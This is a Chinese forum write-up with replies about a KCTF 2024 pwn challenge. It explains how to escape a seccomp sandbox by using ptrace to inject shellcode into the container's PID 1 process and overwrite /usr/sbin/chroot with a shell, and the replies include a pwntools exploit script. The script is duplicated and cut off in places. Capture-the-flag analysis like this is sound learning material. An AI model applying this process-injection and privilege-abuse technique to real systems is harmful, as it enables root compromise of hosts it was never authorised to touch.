IDA打开,程序逻辑十分简洁: 加载一组seccomp过滤规则,然后直接执行输入的payload
用 seccomp-tools 看规则: 或者,查找常量的定义,也能直接看setup_seccomp函数的代码 只允许三个纯粹的64位系统调用:read、wait4、ptrace,所以当前进程虽然能执行任意输入的shellcode,但根本无法开启shell或者打开flag文件 不给open但是给ptrace太刻意了,再回顾题目提供的deploy文件: 因此执行shellcode时具备充分的权限
题目本身已经把解法告诉我们了:利用ptrace系统调用控制另一个进程做我们想做的事 手册对ptrace的说明如下: 在满足一定条件(手册的 Ptrace access mode checking 部分)的情况下一个进程可以附加到另一个进程上,随后可以控制其运行、修改它的内存和寄存器等,也是Linux上调试器的主流实现原理。
题目给了完整的本地部署环境,在Linux机器上,进入deploy目录执行 docker compose up -d 命令即可一键启动
(几点注意:1. Linux系统和docker尽量都用较新的版本以支持新特性和语法 2. 先解决Docker Hub被墙的问题避免构建时镜像拉取失败 3. 不要用已过时弃用的docker-compose命令,较新的docker engine已经包含了compose子命令,替换为不带横线的docker compose即可)
运行 docker compose exec power bash 命令进入容器,ps -ef 看看有哪些进程在跑: 上面1、15、16号进程都是start.sh脚本的产物,17和28号进程是当前进入容器的交互式shell;当外部使用nc 127.0.0.1 9999连接到服务时,xinetd会创建./power子进程。
使用ptrace需要知道进程号,这里1、15、16三个进程是一定存在且pid几乎不会变的(仅有一次调试遇到了sleep进程的pid是14的情况),因此目标初步定在它们三个之一。
xinetd进程监听着9999端口,是外部连接的入口,尽可能不去动它;而另外两个进程,用gdb attach上去后发现它们都处于陷入内核的睡眠状态(从/proc/<pid>/status也能确认这一点)。其中,sh进程阻塞在wait4系统调用上,sleep进程阻塞在pause系统调用上(_)。 有关调试:docker不是虚拟机,docker里外的进程共享同一个内核,所以调试不必从docker内部启动gdb,可以在主机上ps -ef找到pid后从主机启动gdb进行attach 利用ptrace修改进程内存无视访问属性(rwx),只要知道地址即可修改r-x的代码段。
用户态进程通过syscall指令进入内核时,其会将下一条指令的地址写入rcx寄存器,因此目标进程rcx的指向是写入shellcode的最佳位置。 到此可以先做一些尝试:写一个测试程序,依次:PTRACE_ATTACH附加目标进程(例如前面的sh或sleep)(测试程序仍然可以从主机上运行)、PTRACE_GETREGS读取寄存器、PTRACE_POKEDATA向rcx指向的内存写入一些字节,然后PTRACE_DETACH脱离(一个进程不能被两个进程同时ptrace)。再换用gdb附加,可以发现字节确实写入成功了
但更进一步:PTRACE_SETREGS修改rip、PTRACE_CONT恢复执行,却发现目标进程并没有返回到用户态,而是仍然阻塞在内核的wait4/pause系统调用中。 遗憾的是,似乎ptrace无法中止已经启动的系统调用(link1 、link2,但不确定新内核添加的ptrace参数是否补充了功能),这意味着无法强行跳转执行刚刚写入的shellcode。
(这里sh和sleep进程在没有干预的情况下显然不会自己返回到用户态;向它们发送信号可以中断系统调用,但大多数情况只会造成进程退出。对于xinetd进程,它在接收连接后肯定会回到用户态执行代码,但不到最后不想去破坏它) 回顾一下deploy,/bin/sh执行start.sh脚本,在最后启动sleep infinity,所以sh进程的wait4是在等待sleep进程退出。
这里可以通过PTRACE_KILL强行杀死sleep进程。在gdb中验证,当sleep进程退出后,sh进程确实从wait4中返回然后继续执行被修改过的代码。 至此,我们打通了在1号进程/bin/sh中以root权限执行一段无限制的shellcode的路径:
在题目接收外部输入的./power进程中: 最后,需要考虑目标shellcode执行什么逻辑能让我们获得flag。
(复杂的方法可以是open-read-write读取flag,然后socket发送到自己的vps,或者,利用bash反弹一个shell;但这些写起来比较复杂,而且都依赖服务器允许外连,不是首选方案。
如果要利用9999端口做正向连接,可以考虑kill掉xineted进程,自己启动一个监听开shell的程序,或者,利用ptrace注入xinetd进程,利用其已有的端口监听;这些也不是好的方案)
注意我们的shellcode有root权限且对根文件系统有写权限。相对简单的方法可以是修改配置文件重新启动xineted,或者回顾deploy的sectest.xinetd文件,当客户端nc连入时,启动的命令是/usr/sbin/chroot --userspec=0:0 /home/sectest ./power,那么不如直接把chroot换成shell(换power也可以,但是会受到chroot的限制)。
具体的,目标shellcode的逻辑为: 整理以上,形成最终的payload: 目标shellcode: 不能简单的rename /bin/sh到/usr/sbin/chroot,因为xinetd调用chroot时有额外参数会造成干扰
末尾用了死循环保持目标进程不退出,因为这是docker内部的1号进程,如果它退出了整个容器都会退出
转为字节码: 最终payload: 相比前面的描述,最终payload多了两处wait4(题目的seccomp放通它也是有原因的),因为后续的ptrace命令需要等到目标进程确实被PTRACE_ATTACH暂停完毕后才能执行成功。
(最初本地测试时没有wait4也能打通,但打远程总是不通;后面找了一台vps部署真实远程环境(dockerhub被墙太折腾了),发现有执行不稳定的情况。尝试偷懒用循环拖延时间也不行,只能用回wait4,这其实也是文档提到的标准做法。PTRACE_ATTACH会导致目标进程被发送一个SIGSTOP,但并不确保在此条ptrace命令返回前生效;信号需要等到内核调度到目标程序时才能产生作用,本地环境的进程数很少,而服务器上进程数非常多,猜测可能与此有关) 转为字节码: 打远程:
...(已截断)
---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-283206.htm
[原创] 看雪 2024 KCTF 大赛 第八题 星门
81 浏览
4 回复
你好,能分享下目标shellcode的字节码是如何生成的吗,我本地生成的不生效
"""
PWN by XiaozaYa
"""
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
#io = process("./pwn")
#elf = ELF("./power")
#libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0
gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8
"""
menu = b''
inject_shellcode = shellcraft.open("/usr/sbin/chroot", 513)
inject_shellcode += shellcraft.write(3, "#!/bin/sh\n/bin/sh\n", 18)
inject_shellcode += shellcraft.close(3)
inject_shellcode += '''
loop:
nop
nop
jmp loop
'''
#print(inject_shellcode)
inject_shellcode = asm(inject_shellcode)
sc_len = len(inject_shellcode)
info("inject_shellcode length", sc_len)
sc_len = sc_len // 8 * 8 + (1 if sc_len%8 else 0)*8
info("padding inject_shellcode length", sc_len)
inject_shellcode = inject_shellcode.ljust(sc_len, b'\x90')
sc = []
for i in range(0, sc_len, 8):
code = inject_shellcode[i:i+8]
num = 0
for j in range(8):
num |= code[j] << (j*8)
sc.append(num)
# print(hex(num))
#print(inject_shellcode)
PTRACE_ATTACH = 16
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_PEEKDATA = 2
PTRACE_POKEDATA = 5
PTRACE_CONT = 7
PTRACE_KILL = 8
PTRACE_DETACH = 17
rip_offset = 128
rcx_offset = 88
regs_offset = 0x200
target_pid = 1
shellcode = shellcraft.ptrace(PTRACE_ATTACH, target_pid, 0, 0)
shellcode += shellcraft.wait4(target_pid, 0, 0, 0)
shellcode += f'''
'''
shellcode += shellcraft.ptrace(PTRACE_GETREGS, target_pid, 0, "r11")
#sc = [0xdeadbeef] * (sc_len//8)
for i in range(sc_len//8):
shellcode += f'''
mov r11, qword ptr [r11]
/* mov qword ptr [rsp], rax */
'''
shellcode += shellcraft.ptrace(PTRACE_POKEDATA, target_pid, "r11", "rax")
shellcode += f'''
mov rax, qword ptr [r11]
'''
shellcode += shellcraft.ptrace(PTRACE_SETREGS, target_pid, 0, "r11")
shellcode += shellcraft.ptrace(PTRACE_CONT, target_pid, 0, 0)
shellcode += shellcraft.ptrace(PTRACE_DETACH, target_pid, 0, 0)
sleep_pid0 = 14
sleep_pid1 = 15
sleep_pid2 = 16
#shellcode = ''
...(已截断)
PWN by XiaozaYa
"""
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
#io = process("./pwn")
#elf = ELF("./power")
#libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0
gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8
"""
menu = b''
inject_shellcode = shellcraft.open("/usr/sbin/chroot", 513)
inject_shellcode += shellcraft.write(3, "#!/bin/sh\n/bin/sh\n", 18)
inject_shellcode += shellcraft.close(3)
inject_shellcode += '''
loop:
nop
nop
jmp loop
'''
#print(inject_shellcode)
inject_shellcode = asm(inject_shellcode)
sc_len = len(inject_shellcode)
info("inject_shellcode length", sc_len)
sc_len = sc_len // 8 * 8 + (1 if sc_len%8 else 0)*8
info("padding inject_shellcode length", sc_len)
inject_shellcode = inject_shellcode.ljust(sc_len, b'\x90')
sc = []
for i in range(0, sc_len, 8):
code = inject_shellcode[i:i+8]
num = 0
for j in range(8):
num |= code[j] << (j*8)
sc.append(num)
# print(hex(num))
#print(inject_shellcode)
PTRACE_ATTACH = 16
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_PEEKDATA = 2
PTRACE_POKEDATA = 5
PTRACE_CONT = 7
PTRACE_KILL = 8
PTRACE_DETACH = 17
rip_offset = 128
rcx_offset = 88
regs_offset = 0x200
target_pid = 1
shellcode = shellcraft.ptrace(PTRACE_ATTACH, target_pid, 0, 0)
shellcode += shellcraft.wait4(target_pid, 0, 0, 0)
shellcode += f'''
'''
shellcode += shellcraft.ptrace(PTRACE_GETREGS, target_pid, 0, "r11")
#sc = [0xdeadbeef] * (sc_len//8)
for i in range(sc_len//8):
shellcode += f'''
mov r11, qword ptr [r11]
/* mov qword ptr [rsp], rax */
'''
shellcode += shellcraft.ptrace(PTRACE_POKEDATA, target_pid, "r11", "rax")
shellcode += f'''
mov rax, qword ptr [r11]
'''
shellcode += shellcraft.ptrace(PTRACE_SETREGS, target_pid, 0, "r11")
shellcode += shellcraft.ptrace(PTRACE_CONT, target_pid, 0, 0)
shellcode += shellcraft.ptrace(PTRACE_DETACH, target_pid, 0, 0)
sleep_pid0 = 14
sleep_pid1 = 15
sleep_pid2 = 16
#shellcode = ''
...(已截断)
mb_dsykiprk
你好,能分享下目标shellcode的字节码是如何生成的吗,我本地生成的不生效
写了个python脚本,可以直接打
你好,能分享下目标shellcode的字节码是如何生成的吗,我本地生成的不生效
写了个python脚本,可以直接打
哪里能下到附件呢师傅